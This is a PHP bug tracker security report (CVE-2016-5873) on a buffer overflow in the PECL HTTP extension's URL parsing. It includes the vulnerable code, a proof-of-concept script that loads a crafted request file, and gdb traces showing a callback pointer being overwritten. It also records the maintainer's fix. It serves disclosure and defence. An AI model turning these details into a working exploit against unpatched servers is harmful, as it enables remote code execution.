php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71719 Buffer overflow in HTTP url parsing functions
Submitted: 2016-03-05 20:48 UTC Modified: 2016-10-05 06:29 UTC
From: hlt99 at blinkenshell dot org Assigned: mike (profile)
Status: Closed Package: HTTP related
PHP Version: 7.0.4 OS: Linux
Private report: No CVE-ID: 2016-5873
 [2016-03-05 20:48 UTC] hlt99 at blinkenshell dot org
Description:
------------
The url parsing functions of the PECL HTTP extension allow overflowing
a buffer with data originating from an arbitrary HTTP request. Affected
are the parse_*() functions in php_http_url.c that are called from within
php_http_url_parse(). Other parsing functions were not tested but might
be affected as well.
The problem occurs when non-printable characters contained in an URL are
converted into percent-encoding. The state->offset used in these functions
is incremented without sufficient checks regarding the size of the allocated
state->buffer.

Example from parse_mb() in php_http_url.c:781:

    static size_t parse_mb(struct parse_state *state, ...)
    {
    [...]
        } else {
                    int i = 0;

                    PHP_HTTP_DUFF(consumed,
                            state->buffer[state->offset++] = '%';
                            state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) >> 4];
                            state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) & 0xf];
                            ++i;
                    );
                }
    [...]

A php_stream_ops structure is stored in memory adjacent to the state->buffer. This struct holds valid callback function pointers for stdio-like functions (see php_streams.h:118).
During my tests it was possible to modify one of these function pointers, get it called and execute absolutely unrelated instructions within the php binary. 
Thus I believe it's possible to use the described flaw to execute arbitrary code.


# PoC

    $ cat http_message_parse.php
    /*
            http_message_parse.php
            poc.req:
            http://hlt99.blinkenshell.org/php/poc.req
    */
    <?php
    	$http_msg = new http\Message(file_get_contents("poc.req"), false);
    ?>

    $ ./configure --enable-mysqlnd --enable-soap --with-openssl --with-sqlite3 --enable-raphf --enable-propro --with-http --with-zlib-dir --enable-zip --enable-intl && make

    $ gdb ./sapi/cli/php
    gdb> b streams.c:467
    gdb> r http_message_parse.php
    [...]
    RAX: 0x10031c0 --> 0x794560 (<php_stdiop_write>)
            ^-- !! original callback function pointer
    RBX: 0x7ffff1870300
    RCX: 0x1 
    RDX: 0x7ffff1871078 
    RSI: 0x1 
    RDI: 0x7ffff1870300
    RBP: 0x3 
    RSP: 0x7fffffffab30 
    RIP: 0x78f5b4 (<_php_stream_free+308>:	call   QWORD PTR [rax+0x10])
    R8 : 0x1 
    R9 : 0x0 
    R10: 0x74000 
    R11: 0x1 
    R12: 0x0 
    R13: 0x102ea40 --> 0x0 
    R14: 0x0 
    R15: 0x0
    EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    => 0x78f5b4 <_php_stream_free+308>:	call   QWORD PTR [rax+0x10]
    [------------------------------------------------------------------------------]
    0x000000000078f5b4	467			ret = stream->ops->close(stream, preserve_handle ? 0 : 1);
    
    gdb> c
    RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>)
            ^-- !! lower 3 bytes overwritten (halfbyte at offset 0x3f converted to hex char
                !! and byte at offset 0x40 in poc.req
                !! plus trailing 0x00 inserted by url parsing functions)
    RBX: 0x7ffff1870400
    RCX: 0x1 
    RDX: 0x2 
    RSI: 0x1 
    RDI: 0x7ffff1870400
    RBP: 0xb ('\x0b')
    RSP: 0x7fffffffa8a0
    RIP: 0x78f5b4 (<_php_stream_free+308>:	call   QWORD PTR [rax+0x10])
    R8 : 0x1 
    R9 : 0x0 
    R10: 0x682f377068702f73 ('s/php7/h')
    R11: 0x170 
    R12: 0x0 
    R13: 0x102ea40 --> 0x0 
    R14: 0x0 
    R15: 0x0
    EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    => 0x78f5b4 <_php_stream_free+308>:	call   QWORD PTR [rax+0x10] 
    [------------------------------------------------------------------------------]
    0x000000000078f5b4	467			ret = stream->ops->close(stream, preserve_handle ? 0 : 1);

    gdb> c
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>)
    RBX: 0x7ffff1870400
    RCX: 0x1 
    RDX: 0x2 
    RSI: 0x1 
    RDI: 0x7ffff1870400
    RBP: 0xb ('\x0b')
    RSP: 0x7fffffffa880
    RIP: 0x82f346 (<ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+6>:    movsxd rbx,DWORD PTR [r15+0x8])
    R8 : 0x1 
    R9 : 0x0 
    R10: 0x682f377068702f73 ('s/php7/h')
    R11: 0x170 
    R12: 0x0 
    R13: 0x102ea40 --> 0x0 
    R14: 0x0 
    R15: 0x0
    EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x82f340 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER>:    push   rbp
       0x82f341 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+1>:    push   rbx
       0x82f342 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+2>:    sub    rsp,0x8
    => 0x82f346 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+6>:    movsxd rbx,DWORD PTR [r15+0x8]
    [------------------------------------------------------------------------------]
    Stopped reason: SIGSEGV
    ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER () at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:44295
    44295        op1 = _get_zval_ptr_var(opline->op1.var, execute_data, &free_op1);
      ^-- !! crash during execution of arbitrary callback function !!
    
    /*** Backtrace right after overflow, before modified fn ptrs are called ***/

    gdb> b php_http_url.c:1514
    gdb> dis 1
    gdb> r
    Breakpoint 2, php_http_url_parse (
    str=str@entry=0x7ffff185da05 "5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0  HTTP/\215.0", len=len@entry=0x1, flags=flags@entry=0xffffffff)
    at /home/rc0r/tmp/php-src/ext/http/src/php_http_url.c:1514
    1514		if (!parse_hier(state)) {
    gdb> bt
    #0  php_http_url_parse (
        str=str@entry=0x7ffff185da05 "5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0  HTTP/\215.0", len=len@entry=0x1, flags=flags@entry=0xffffffff)
        at /home/rc0r/tmp/php-src/ext/http/src/php_http_url.c:1514
    #1  0x0000000000736bf1 in php_http_info_parse (info=info@entry=0x7fffffffaa20, 
        pre_header=0x7ffff185da00 "\200\254Td 5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0  HTTP/\215.0")
        at /home/rc0r/tmp/php-src/ext/http/src/php_http_info.c:138
    #2  0x0000000000735838 in php_http_header_parser_parse (parser=parser@entry=0x7fffffffaa00, buffer=buffer@entry=0x7fffffffa9d0, 
        flags=flags@entry=0x1, headers=0x7ffff1882090, callback_func=0x73a670 <php_http_message_info_callback>, 
        callback_arg=callback_arg@entry=0x7fffffffa9c8) at /home/rc0r/tmp/php-src/ext/http/src/php_http_header_parser.c:151
    #3  0x0000000000740644 in php_http_message_parser_parse (parser=parser@entry=0x7fffffffaa00, buffer=buffer@entry=0x7fffffffa9d0, flags=0x1, 
        message=message@entry=0x7fffffffa9c8) at /home/rc0r/tmp/php-src/ext/http/src/php_http_message_parser.c:249
    #4  0x000000000073ba48 in php_http_message_parse (msg=0x7ffff1882070, msg@entry=0x0, 
        str=str@entry=0x7ffff185d8d8 "\200\254Td 5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0  HTTP/\215.0", len=<optimized out>, greedy=<optimized out>)
        at /home/rc0r/tmp/php-src/ext/http/src/php_http_message.c:134
    #5  0x000000000073c82d in zim_HttpMessage___construct (execute_data=<optimized out>, return_value=<optimized out>)
        at /home/rc0r/tmp/php-src/ext/http/src/php_http_message.c:1061
    #6  0x00000000008560f2 in ZEND_DO_FCALL_SPEC_HANDLER () at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:842
    #7  0x000000000081273b in execute_ex (ex=<optimized out>) at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:414
    #8  0x0000000000864567 in zend_execute (op_array=0x7ffff187d000, op_array@entry=0x7ffff185d860, return_value=return_value@entry=0x7ffff1813030)
        at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:458
    #9  0x00000000007d4ee4 in zend_execute_scripts (type=type@entry=0x8, retval=0x7ffff1813030, retval@entry=0x0, file_count=file_count@entry=0x3)
        at /home/rc0r/tmp/php-src/Zend/zend.c:1427
    #10 0x0000000000778b90 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd260) at /home/rc0r/tmp/php-src/main/main.c:2487
    #11 0x0000000000866194 in do_cli (argc=0x2, argv=0x10448c0) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:974
    #12 0x0000000000443b98 in main (argc=0x2, argv=0x10448c0) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:1350

Expected result:
----------------
Error/exception indicating an invalid HTTP request

Actual result:
--------------
Segmentation fault

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-03-08 15:25 UTC] johannes@php.net
-Status: Open +Status: Assigned -Assigned To: +Assigned To: mike
 [2016-03-09 08:48 UTC] mike@php.net
Thanks for the report!

Releases with the fix are planned for today.
 [2016-03-09 08:48 UTC] mike@php.net
-Status: Assigned +Status: Closed
 [2016-07-12 20:22 UTC] hlt99 at blinkenshell dot org
CVE-2016-5873 was assigned for the original cause of the reported problem as summarized in the following commit:

https://github.com/m6w6/ext-http/commit/3724cd76a28be1d6049b5537232e97ac567ae1f5
 [2016-10-04 15:51 UTC] mike@php.net
-Type: Security +Type: Bug
 [2016-10-05 06:26 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-5873
 [2016-10-05 06:29 UTC] mike@php.net
-Type: Bug +Type: Security
 
PHP Copyright © 2001-2019 The PHP Group
All rights reserved.
Last updated: Wed Oct 23 03:01:29 2019 UTC